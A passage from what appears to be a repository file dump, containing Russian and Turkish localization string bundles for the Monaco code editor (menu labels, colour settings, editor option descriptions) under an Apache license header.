мини-приложения предложений.\",\"Фоновый цвет выбранной записи в мини-приложении предложений.\",\"Цвет выделения соответствия в мини-приложении предложений.\",\"Подробнее...{0}\",\"{0}, предложение, содержит данные\",\"{0}, предложение\",\"Кратко...{0}\",\"Идет загрузка...\",\"Предложения отсутствуют.\",\"{0}, принято\",\"{0}, предложение, содержит данные\",\"{0}, предложение\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Переключение клавиши TAB перемещает фокус.\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Цвет фона символа при доступе на чтение, например считывании переменной.\",\"Цвет фона символа при доступе на запись, например записи переменной.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Закрыть\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Переопределения конфигурации по умолчанию\",\"Настройка переопределяемых параметров редактора для языка {0}.\",\"Настройка параметров редактора, переопределяемых для языка.\",\"Невозможно зарегистрировать \\\"{0}\\\". Оно соответствует шаблону свойства '\\\\\\\\[.*\\\\\\\\]$' для описания параметров редактора, определяемых языком. Используйте участие configurationDefaults.\",'Невозможно зарегистрировать \"{0}\". Это свойство уже зарегистрировано.'],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"Была нажата клавиша ({0}). Ожидание нажатия второй клавиши сочетания...\",\"Сочетание клавиш ({0} и {1}) не является командой.\"],\"vs/platform/message/common/message\":[\"Закрыть\",\"Позже\",\"Отмена\"],\"vs/platform/theme/common/colorRegistry\":[\"Недопустимый формат цвета. Используйте #RGB, #RGBA, #RRGGBB или #RRGGBBAA\",\"Цвета, используемые на рабочем месте.\",\"Общий цвет переднего плана. Этот цвет используется, только если его не переопределит компонент.\",\"Общий цвет переднего плана для сообщений об ошибках. Этот цвет используется только если его не переопределяет компонент.\",\"Цвет текста элемента, содержащего пояснения, например, для метки.\",\"Общий цвет границ для элементов с фокусом. Этот цвет используется только в том случае, если не переопределен в компоненте.\",\"Дополнительная граница вокруг элементов, которая отделяет их от других элементов для улучшения контраста.\",\"Дополнительная граница вокруг активных элементов, которая отделяет их от других элементов для улучшения контраста.\",\"Цвет фона выделенного текста в рабочей области (например, в полях ввода или в текстовых полях). Не применяется к выделенному тексту в редакторе.\",\"Цвет для разделителей текста.\",\"Цвет переднего плана для ссылок в тексте.\",\"Цвет переднего фона для активных ссылок в тексте.\",\"Цвет текста фиксированного формата.\",\"Цвет фона для блоков с цитатами в тексте.\",\"Цвет границ для блоков с цитатами в тексте.\",\"Цвет фона для программного кода в тексте.\",'Цвет тени мини-приложений редактора, таких как \"Найти/заменить\".',\"Фон поля ввода.\",\"Передний план поля ввода.\",\"Граница поля ввода.\",\"Цвет границ активированных параметров в полях ввода.\",\"Цвет фона поясняющего текста в элементе ввода.\",'Фоновый цвет проверки ввода для уровня серьезности \"Сведения\".','Цвет границы проверки ввода для уровня серьезности \"Сведения\".','Фоновый цвет проверки ввода для уровня серьезности \"Предупреждение\".','Цвет границы проверки ввода для уровня серьезности \"Предупреждение\".','Фоновый цвет проверки ввода для уровня серьезности \"Ошибка\".','Цвет границы проверки ввода для уровня серьезности \"Ошибка\".',\"Фон раскрывающегося списка.\",\"Передний план раскрывающегося списка.\",\"Граница раскрывающегося списка.\",\"Фоновый цвет находящегося в фокусе элемента List/Tree, когда элемент List/Tree активен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Цвет переднего плана находящегося в фокусе элемента List/Tree, когда элемент List/Tree активен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Фоновый цвет выбранного элемента List/Tree, когда элемент List/Tree активен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Цвет переднего плана выбранного элемента List/Tree, когда элемент List/Tree активен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Фоновый цвет выбранного элемента List/Tree, когда элемент List/Tree неактивен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Цвет текста выбранного элемента List/Tree, когда элемент List/Tree неактивен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Фоновый цвет выбранного элемента List/Tree, когда элемент List/Tree неактивен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Цвет текста выбранного элемента List/Tree, когда элемент List/Tree неактивен. На активном элементе List/Tree есть фокус клавиатуры, на неактивном — нет.\",\"Фоновый цвет элементов List/Tree при наведении курсора мыши.\",\"Цвет переднего плана элементов List/Tree при наведении курсора мыши.\",\"Фоновый цвет элементов List/Tree при перемещении с помощью мыши.\",\"Цвет переднего плана для выделения соответствия при поиске по элементу List/Tree.\",\"Цвет средства быстрого выбора для группировки меток.\",\"Цвет средства быстрого выбора для группировки границ.\",\"Цвет переднего плана кнопки.\",\"Цвет фона кнопки.\",\"Цвет фона кнопки при наведении.\",\"Цвет фона бэджа. Бэджи - небольшие информационные элементы,  отображающие количество, например, результатов поиска.\",\"Цвет текста бэджа. Бэджи - небольшие информационные элементы, отображающие количество, например, результатов поиска.\",\"Цвет тени полосы прокрутки, которая свидетельствует о том, что содержимое прокручивается.\",\"Цвет фона ползунка полосы прокрутки.\",\"Цвет фона ползунка полосы прокрутки при наведении курсора.\",\"Цвет фона активного ползунка полосы прокрутки.\",\"Цвет фона индикатора выполнения, который может отображаться для длительных операций.\",\"Цвет фона редактора.\",\"Цвет переднего плана редактора по умолчанию.\",\"Цвет фона виджетов редактора, таких как найти/заменить.\",\"Цвет границы мини-приложений редактора. Этот цвет используется только в том случае, если у мини-приложения есть граница и если этот цвет не переопределен мини-приложением.\",\"Цвет выделения редактора.\",\"Цвет выделенного текста в режиме высокого контраста.\",\"Цвет выделения в неактивном редакторе.\",\"Цвет регионов с тем же содержимым, что и в выделении.\",\"Цвет текущего поиска совпадений.\",\"Цвет других совпадений поиска.\",\"Цвет диапазона, ограничивающего поиск.\",\"Выделение под словом, для которого показано наведение.\",\"Цвет фона при наведении указателя на редактор.\",\"Цвет границ при наведении указателя на редактор.\",\"Цвет активных ссылок.\",\"Цвет фона для добавленных строк.\",\"Цвет фона для удаленных строк.\",\"Цвет контура для добавленных строк.\",\"Цвет контура для удаленных строк.\",\"Цвет фона текущего заголовка во внутренних конфликтах слияния.\",\"Цвет фона текущего содержимого во внутренних конфликтах слияния.\",\"Цвет фона входящего заголовка во внутренних конфликтах слияния.\",\"Цвет фона входящего содержимого во внутренних конфликтах слияния.\",\"Цвет фона заголовка для общего предка во внутренних конфликтах слияния.\",\"Цвет фона содержимого для общего предка во внутренних конфликтах слияния.\",\"Цвет границы заголовков и разделителя во внутренних конфликтах слияния.\",\"Цвет переднего плана линейки текущего окна во внутренних конфликтах слияния.\",\"Цвет переднего плана линейки входящего окна во внутренних конфликтах слияния.\",\"Цвет переднего плана для обзорной линейки для общего предка во внутренних конфликтах слияния. \"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.ru.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.tr.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.tr\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (tekrar oluştu)\"],\"vs/base/browser/ui/findinput/findInput\":[\"giriş\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Büyük/Küçük Harf Eşleştir\",\"Sözcüğün Tamamını Eşleştir\",\"Normal İfade Kullan\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Hata: {0}\",\"Uyarı: {0}\",\"Bilgi: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"Command\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"Hata\",\"Uyarı\",\"Bilgi\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, seçici\",\"seçici\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Hızlı seçici. Sonuçları daraltmak için yazmaya başlayın.\",\"Hızlı Seçici\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Daralt\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Bir dosya çok büyük olduğu için dosyaları karşılaştıramazsınız.\"],\"vs/editor/browser/widget/diffReview\":[\"Kapat\",\"Farklılık {0}/{1}: orijinal {2}, {3} satırları, değiştirilen {4}, {5} satırları\",\"boş\",\"orijinal {0}, değiştirilen {1}: {2}\",\"+ değiştirilen {0}: {1}\",\"- orijinal {0}: {1}\",\"Sonraki Farka Git\",\"Sonraki Farka Git\"],\"vs/editor/common/config/commonEditorConfig\":[\"Düzenleyici\",\"Yazı tipi ailesini denetler.\",\"Yazı tipi kalınlığını denetler.\",\"Yazı tipi boyutunu piksel olarak denetler.\",\"Satır yüksekliğini denetler. lineHeight değerini, fontSize değeri kullanarak hesaplamak için 0 girin.\",\"Harfler arası boşluğu pixel olarak denetler.\",\"Satır numaralarının görüntülenmesini denetler. Olası değerler 'on', 'off' ve 'relative'dir. 'relative' satırların geçerli imleç konumundan uzaklıklarını gösterir.\",\"Dikey cetvellerin gösterileceği sütunlar\",\"Sözcüklerle ilgili gezinti veya işlem yaparken kelime ayırıcı olarak kullanılacak karakterler\",\"Bir sekmenin eşit olduğu boşluk sayısı. Bu ayar, `editor.detectIndentation` açıkken dosya içeriğine bağlı olarak geçersiz kılınır.\",\"'sayı' bekleniyor. \\\"auto\\\" değerinin `editor.detectIndentation` ile değiştirildiğini unutmayın.\",\"Tab tuşuna basınca boşluk ekle. Bu ayar, `editor.detectIndentation` açıkken dosya içeriğine bağlı olarak geçersiz kılınır.\",\"'boole' bekleniyor. \\\"auto\\\" değerinin `editor.detectIndentation` ile değiştirildiğini unutmayın.\",\"Bir dosyayı açarken, `editor.tabSize` ve `editor.insertSpaces` dosya içeriğine bağlı olarak algılanır.\",\"Seçimlerin köşelerinin yuvarlak olup olmayacağını denetler\",\"Düzenleyicinin son satırın ötesine ilerleyip ilerlemeyeceğini denetler\",\"Mini haritanın gösterilip gösterilmeyeceğini denetler\",\"Mini harita kaydıracının otomatik olarak gizlenip gizlenmeyeceğini denetler.\",\"(Renk blokları yerine) Bir satırdaki gerçek harfleri göster\",\"Hazırlanacak mini haritanın azami genişliğini belirli sayıda sütunla sınırla\",\"Bulma Araç Çubuğu'ndaki arama metninin, düzenleyicideki seçili alandan beslenmesini denetler\",\"Seçimde bul işaretçisinin, editördeki metnin birden çok karakteri veya satırı seçildiğinde açılmasını denetler.\",\"Satırlar hiçbir zaman bir sonraki satıra kaydırılmayacak.\",\"Satırlar görüntü alanı genişliğinde bir sonraki satıra kaydırılacak.\",\"Satırlar `editor.wordWrapColumn` değerinde bir sonraki satıra kaydırılacak.\",\"Satırlar en düşük görüntü alanı genişliğinde ve `editor.wordWrapColumn` değerinde bir sonraki satıra kaydırılacak.\",\"Satırların bir sonraki satıra nasıl kaydırılacağını denetler. Seçenekler:\\n - 'off' (kaydırmayı devre dışı bırak),\\n - 'on' (görüntü alanında kaydır),\\n - 'wordWrapColumn' (`editor.wordWrapColumn` değerinde kaydır) veya\\n - 'bounded' (en düşük görüntü alanı genişliğinde ve `editor.wordWrapColumn` değerinde kaydır).\",\"`editor.wordWrap` ögesi, 'wordWrapColumn' veya 'bounded' iken düzenleyicinin kaydırma sütununu denetler.\",\"Kaydırılan satır girintisini denetler. 'none', 'same' veya 'indent' değerlerinden biri olabilir.\",\"Fare tekerleği kaydırma olaylarında `deltaX` ve `deltaY` üzerinde kullanılan bir çarpan\",\"Windows ve Linux'da `Control` ve OSX'de `Command` ile eşleşir.\",\"Windows ve Linux'da `Alt` ve OSX'de `Option` ile eşleşir.\",\"Fare ile birden çok imleç eklenmesinde kullanılacak değiştirici. `ctrlCmd` Windows ve Linux'da `Control` ve OSX'de `Command` ile eşleşir. Tanıma Git ve Bağlantıyı Aç fare hareketleri, birden çok imleç değiştiricisi ile çakışmayacak şekilde uyum sağlarlar.\",\"Dizelerin içinde hızlı önerileri etkinleştir.\",\"Yorumların içinde hızlı önerileri etkinleştir.\",\"Dizeler ve yorumlar dışında hızlı önerileri etkinleştirin.\",\"Yazarken önerilerin otomatik olarak gösterilip gösterilmeyeceğini denetler\",\"Hızlı önerilerin gösterilmesinden önce kaç ms bekleneceğini denetler\",\"Siz tuşlara bastıkça parametre belgelerini ve tür bilgisini gösteren açılır pencereyi etkinleştirir.\",\"Düzenleyicinin köşeli ayracı açtıktan sonra otomatik olarak kapatıp kapatmayacağını denetler\",\"Düzenleyicinin satırı yazıldıktan sonra otomatik biçimlendirip biçimlendirmeyeceğini denetler\",\"Düzenleyicinin yapıştırılan içeriği otomatik olarak biçimlendirip biçimlendirmeyeceğini denetler. Bir biçimlendirici mevcut olmalı ve belgede bir aralığı biçimlendirebilmelidir.\",\"Düzenleyicinin, kullanıcılar tuşlara bastığında, satırları yapıştırdığında veya taşıdığında girintiyi otomatik olarak ayarlayıp ayarlamayacağını denetler. Dilin girintileme kuralları mevcut olmalıdır.\",\"Tetikleyici karakterler yazılırken otomatik olarak öneri gösterilip gösterilmeyeceğini denetler\",\"'Tab' tuşuna ek olarak - önerilerin 'Enter' tuşuna basıldığında kabul edilmesini denetler. Yeni satır ekleme ya da öneri kabul etme arasındaki belirsizlikten kaçınmaya yardımcı olur. 'smart' değeri, bir öneri metinsel değişiklik yapıyorsa, onu sadece Enter tuşu ile kabul etmeyi ifade eder\",\"Önerilerin tamamlama karakterlerinde kabul edilip edilmeyeceğini denetler. Örnek olarak; JavaScript'te noktalı virgül(';') öneri kabul eden ve o karakteri giren tamamlama karakteri olabilir.\",\"Parçacık önerilerini diğer önerilerin üstünde göster.\",\"Parçacık önerilerini diğer önerilerin altında göster.\",\"Parçacık önerilerini diğer önerilerle birlikte göster.\",\"Parçacık önerilerini gösterme.\",\"Parçacıkların diğer önerilerle gösterilip gösterilmeyeceğini ve bunların nasıl sıralanacaklarını denetler.\",\"Bir seçim olmadan geçerli satırı kopyalayıp kopyalamamayı denetler.\",\"Tamamlamaların belgedeki sözcüklere dayalı olarak hesaplanıp hesaplanmayacağını denetler.\",\"Öneri aracının yazı tipi boyutu\",\"Öneri aracının satır yüksekliği\",\"Düzenleyicinin seçime benzer eşleşmeleri vurgulayıp vurgulamayacağını denetler\",\"Düzenleyicinin semantik sembol tekrarlamalarını vurgulayıp vurgulamayacağını denetler\",\"Genel bakış cetvelinde aynı konumda gösterilebilecek süsleme sayısını denetler\",\"Genel bakış cetvelinin etrafına bir kenarlık çizilmesi gerekip gerekmediğini denetler.\",\"İmleç animasyon stilini denetler, olası değerler 'blink', 'smooth', 'phase', 'expand' ve 'solid'dir\",\"Ctrl tuşuna basarken fare tekerleği ile düzenleyici yazı tipini yakınlaştırın\",\"İmleç stilini denetler, kabul edilen değerler: 'block', 'block-outline', 'line', 'line-thin', 'underline' ve 'underline-thin'\",\"Yazı tipi ligatürlerini etkinleştirir\",\"İmlecin genel bakış cetvelinde gizlenip gizlenmeyeceğini denetler.\",\"Düzenleyicinin boşluk karakterlerini nasıl göstereceğini denetler, seçenekler: 'none', 'boundary', ve 'all'. 'boundary' seçeneği sözcükler arasındaki tek boşlukları göstermez.\",\"Düzenleyicinin kontrol karakterlerini gösterip göstermemesini denetler\",\"Düzenleyicinin girinti kılavuzlarını gösterip göstermemesini denetler\",\"Düzenleyicinin geçerli satır vurgusunu nasıl göstereceğini denetler, seçenekler: 'none', 'gutter', 'line', ve 'all'.\",\"Düzenleyicinin kod objektiflerini gösterip göstermediğini denetler\",\"Düzenleyicide kod katlamanın etkin olup olmadığını denetler\",\"Oluktaki kat kontrollerinin otomatik olarak gizlenip gizlenmeyeceğini denetler.\",\"Eşleşen ayraçları, onlardan biri seçildiğinde vurgula.\",\"Düzenleyicinin dikey glif boşluğunu oluşturup oluşturmayacağını kontrol eder. Glif boşluğu çoğunlukla hata ayıklamak için kullanılır.\",\"Boşluk ekleme ve silme sekme duraklarını izler\",\"Sondaki otomatik eklenen boşluğu kaldır\",\"Gözetleme düzenleyicilerini, içeriklerine çift tıklandığında veya Escape tuşuna basıldığında bile açık tut.\",\"Düzenleyicinin seçimleri sürükleyip bırakarak taşımaya izin verip vermeyeceğini denetler.\",\"Düzenleyici, bir Ekran Okuyucu'nun ne zaman bağlandığını algılamak için platform API'larını kullanacaktır.\",\"Düzenleyici bir Ekran Okuyucu ile kullanılmak üzere kalıcı olarak optimize edilecektir.\",\"Düzenleyici hiçbir zaman bir Ekran Okuyucu ile kullanılmak üzere optimize edilmeyecektir.\",\"Düzenleyicinin ekran okuyucular için optimize edilmiş bir modda çalışıp çalışmayacağını denetler.\",\"Düzenleyicinin bağlantıları otomatik algılayıp, onları tıklanabilir yapıp yapmayacağını denetler\",\"Karşılaştırma düzenleyicisinin farklılıkları yan yana mı yoksa satır içinde mi göstereceğini denetler\",\"Karşılaştırma düzenleyicisinin baştaki veya sondaki boşluklardaki değişmeleri farklılık olarak gösterip göstermemesini denetler\",\"Karşılaştırma düzenleyicisinin ekleme/çıkarma değişiklikleri için +/- göstergeleri gösterip göstermemesini denetler.\",\"Linux birincil panosunun desteklenip desteklenmeyeceğini denetler.\"],\"vs/editor/common/config/editorOptions\":[\"Düzenleyici şu an erişilebilir değil. Seçenekler için lütfen Alt+F1'e basın.\",\"Düzenleyici içeriği\"],\"vs/editor/common/controller/cursor\":[\"Komut yürütülürken beklenmeyen özel durum oluştu.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Mod, girdiyi belirteçlere ayırırken başarısız oldu.\"],\"vs/editor/common/modes/modesRegistry\":[\"Düz Metin\"],\"vs/editor/common/services/bulkEdit\":[\"Bu dosyalar bu arada değiştirildi: {0}\",\"Düzenleme yapılmadı\",\"{1} dosyada {0} metin düzenlemesi yapıldı\",\"Bir dosyada {0} metin düzenlemesi yapıldı\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"İmlecin bulunduğu satırın vurgusunun arka plan rengi.\",\"İmlecin bulunduğu satırın kenarlığının arka plan rengi.\",\"Hızlı açma ve bulma özellikleri gibi vurgulanan alanların arka plan rengi.\",\"Düzenleyici imlecinin rengi.\",\"Düzenleyici imlecinin arka plan rengi. Bir blok imlecinin kapladığı bir karakterin rengini özelleştirmeyi sağlar.\",\"Düzenleyicideki boşluk karakterlerinin rengi.\",\"Düzenleyici girinti kılavuzlarının rengi.\",\"Düzenleyici satır numaralarının rengi.\",\"Düzenleyici cetvellerinin rengi.\",\"Düzenleyici kod objektiflerinin ön plan rengi\",\"Eşleşen parantezlerin arka plan rengi\",\"Eşleşen parantez kutularının rengi\",\"Genel bakış cetvelinin kenarlık rengi.\",\"Düzenleyici oluğunun arka plan rengi. Oluk, glif boşluklarını ve satır numaralarını içerir.\",\"Düzenleyicideki hata karalamalarının ön plan rengi.\",\"Düzenleyicideki hata karalamalarının kenarlık rengi.\",\"Düzenleyicideki uyarı karalamalarının ön plan rengi.\",\"Düzenleyicideki uyarı karalamalarının kenarlık rengi.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Ayraca Git\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"İmleci Sola Taşı\",\"İmleci Sağa Taşı\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Harfleri Birbirleriyle Değiştir\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Kes\",\"Kopyala\",\"Yapıştır\",\"Sentaks Vurgulaması İle Kopyala\"],\"vs/editor/contrib/comment/common/comment\":[\"Satır Yorumunu Aç/Kapat\",\"Satır Açıklaması Ekle\",\"Satır Açıklamasını Kaldır\",\"Yorum Bloğunu Aç/Kapat\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Düzenleyici Bağlam Menüsünü Göster\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Bul\",\"Bul\",\"Önceki eşleşme\",\"Sonraki eşleşme\",\"Seçimde bul\",\"Kapat\",\"Değiştir\",\"Değiştir\",\"Değiştir\",\"Tümünü Değiştir\",\"Değiştirme modunu değiştir\",\"Yalnızca ilk 999 sonuç vurgulandı, ancak tüm bulma işlemleri metnin tamamı üzerinde çalışıyor.\",\"{0}/{1}\",\"Sonuç Yok\"],\"vs/editor/contrib/find/common/findController\":[\"Bul\",\"Sonrakini Bul\",\"Öncekini Bul\",\"Sonraki Seçimi Bul\",\"Önceki Seçimi Bul\",\"Değiştir\",\"Seçimi Sonraki Bulunan Eşleşmeye Ekle\",\"Seçimi Önceki Bulunan Eşleşmeye Ekle\",\"Son Seçimi Sonraki Bulunan Eşleşmeye Taşı\",\"Son Seçimi Önceki Bulunan Eşleşmeye Taşı\",\"Bulunan Eşleşmenin Tüm Tekrarlamalarını Seç\",\"Tüm Tekrarlamaları Değiştir\",\"Sonraki Arama Terimini Göster\",\"Önceki Arama Terimini Göster\"],\"vs/editor/contrib/folding/browser/folding\":[\"Katlamayı Aç\",\"Katlamaları Özyinelemeli Olarak Aç\",\"Katla\",\"Özyinelemeli Olarak Katla\",\"Hepsini Katla\",\"Tüm Katlamaları Aç\",\"{0}. Düzeyi Katla\"],\"vs/editor/contrib/format/browser/formatActions\":[\"{0}. satırda 1 biçimlendirme düzenlemesi yapıldı\",\"{1}. satırda {0} biçimlendirme düzenlemesi yapıldı\",\"{0} ve {1} satırları arasında 1 biçimlendirme düzenlemesi yapıldı\",\"{1} ve {2} satırları arasında {0} biçimlendirme düzenlemesi yapıldı\",\"Belgeyi Biçimlendir\",\"Seçimi Biçimlendir\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"'{0}' için tanım bulunamadı\",\"Tanım bulunamadı\",\" – {0} tanım\",\"Tanıma Git\",\"Tanımı Yana Aç\",\"Tanıma Göz At\",\"'{0}' için uygulama bulunamadı\",\"Uygulama bulunamadı\",\" – {0} uygulama\",\"Uygulamaya Git\",\"Uygulamaya Göz At\",\"'{0}' için tür tanımı bulunamadı\",\"Tür tanımı bulunamadı\",\" – {0} tür tanımı\",\"Tür Tanımına Git\",\"Tür Tanımına Göz At\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"{0} tanımı göstermek için tıklayın.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Sonraki Hata veya Uyarıya Git\",\"Önceki Hata veya Uyarıya Git\",\"Düzenleyicinin işaretçi gezinti aracının hata rengi.\",\"Düzenleyicinin işaretçi gezinti aracının uyarı rengi.\",\"Düzenleyicinin işaretçi gezinti aracının arka planı.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Bağlantı Vurgusunu Göster\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Yükleniyor...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Önceki Değerle Değiştir\",\"Sonraki Değerle Değiştir\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Satırı Yukarı Kopyala\",\"Satırı Aşağı Kopyala\",\"Satırı Yukarı Taşı\",\"Satırı Aşağı Taşı\",\"Satırları Artan Şekilde Sırala\",\"Satırları Azalan Şekilde Sırala\",\"Sondaki Boşluğu Kırp\",\"Satırı Sil\",\"Satırı Girintile\",\"Satırın Girintisini Azalt\",\"Üste Satır Ekle\",\"Alta Satır Ekle\",\"Soldaki Her Şeyi Sil\",\"Sağdaki Her Şeyi Sil\",\"Satırları Birleştir\",\"İmlecin etrafındaki karakterleri birbirleriyle değiştir\",\"Büyük Harfe Dönüştür\",\"Küçük Harfe Dönüştür\"],\"vs/editor/contrib/links/browser/links\":[\"Bağlantıyı izlemek için Cmd tuşuna basarak tıklayın\",\"Bağlantıyı izlemek için Ctrl tuşuna basarak tıklayın\",\"Komutu yürütmek için Cmd + tıklama yapın\",\"Komutu yürütmek için Ctrl + tıklama yapın\",\"Bağlantıyı izlemek için Alt tuşuna basarak tıklayın\",\"Komutu yürütmek için Alt + tıklama yapın\",\"Üzgünüz, bu bağlantı iyi oluşturulmamış olduğu için açılamadı: {0}\",\"Üzgünüz; bu bağlantı, hedefi eksik olduğu için açılamadı.\",\"Bağlantıyı Aç\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Yukarıya İmleç Ekle\",\"Aşağıya İmleç Ekle\",\"Satır Sonlarına İmleç Ekle\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Parametre İpuçlarını Tetikle\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, ipucu\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Düzeltmeleri Göster ({0})\",\"Düzeltmeleri Göster\",\"Hızlı Düzeltme\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\"– {0} başvuru\",\"Tüm Başvuruları Bul\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Yükleniyor...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"{0} yolunda, {1}. satır {2}. sütundaki sembol\",\"{0} içinde 1 sembol, tam yol {1}\",\"{1} içinde {0} sembol, tam yol {2}\",\"Sonuç bulunamadı\",\"{0} yolunda 1 sembol bulundu\",\"{1} yolunda {0} sembol bulundu\",\"{1} dosyada {0} sembol bulundu\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Dosya çözümlenemedi.\",\"{0} başvuru\",\"{0} başvuru\",\"önizleme yok\",\"Başvurular\",\"Sonuç yok\",\"Başvurular\",\"Gözetleme görünümü başlık alanının arka plan rengi.\",\"Gözetleme görünümü başlığının rengi.\",\"Gözetleme görünümü başlık bilgisinin rengi.\",\"Gözetleme görünümü kenarlıkları ve ok işaretinin rengi.\",\"Gözetleme görünümü sonuç listesinin arka plan rengi.\",\"Gözetleme görünümü sonuç listesindeki satır düğümlerinin ön plan rengi.\",\"Gözetleme görünümü sonuç listesindeki dosya düğümlerinin ön plan rengi.\",\"Gözetleme görünümü sonuç listesindeki seçilen girdinin arka plan rengi.\",\"Gözetleme görünümü sonuç listesindeki seçilen girdinin ön plan rengi.\",\"Gözetleme görünümü düzenleyicisinin arka plan rengi.\",\"Gözetleme görünümü düzenleyicisindeki oluğun arka plan rengi.\",\"Gözetleme görünümü sonuç listesindeki eşleşme vurgusu rengi.\",\"Gözetleme görünümü düzenleyicisindeki eşleşme vurgusu rengi.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Sonuç yok.\",\"'{0}', '{1}' olarak başarıyla yeniden adlandırıldı. Özet: {2}\",\"Üzgünüz, yeniden adlandırma işlemi başarısız oldu.\",\"Sembolü Yeniden Adlandır\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Girdiyi yeniden adlandır. Yeni adı girin ve işlemek için Enter'a basın.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Seçimi Genişlet\",\"Seçimi Daralt\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"'{0}' kabul edildiği için şu metin eklendi: {1}\",\"Öneriyi Tetikle\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Öneri aracının arka plan rengi.\",\"Öneri aracının kenarlık rengi.\",\"Öneri aracının ön plan rengi.\",\"Öneri aracındaki seçilen girdinin arka plan rengi.\",\"Öneri aracındaki eşleşme vurgularının rengi.\",\"Devamını Oku...{0}\",\"{0}, öneri, detaylı\",\"{0}, öneri\",\"Daha azını oku...{0}\",\"Yükleniyor...\",\"Öneri yok.\",\"{0}, kabul edildi\",\"{0}, öneri, detaylı\",\"{0}, öneri\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Tab Tuşu İle Odak Değiştirmeyi Aç/Kapat\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Bir değişkeni okumak gibi, okuma-erişimi sırasındaki bir sembolün arka plan rengi.\",\"Bir değişkene yazmak gibi, yazma-erişimi sırasındaki bir sembolün arka plan 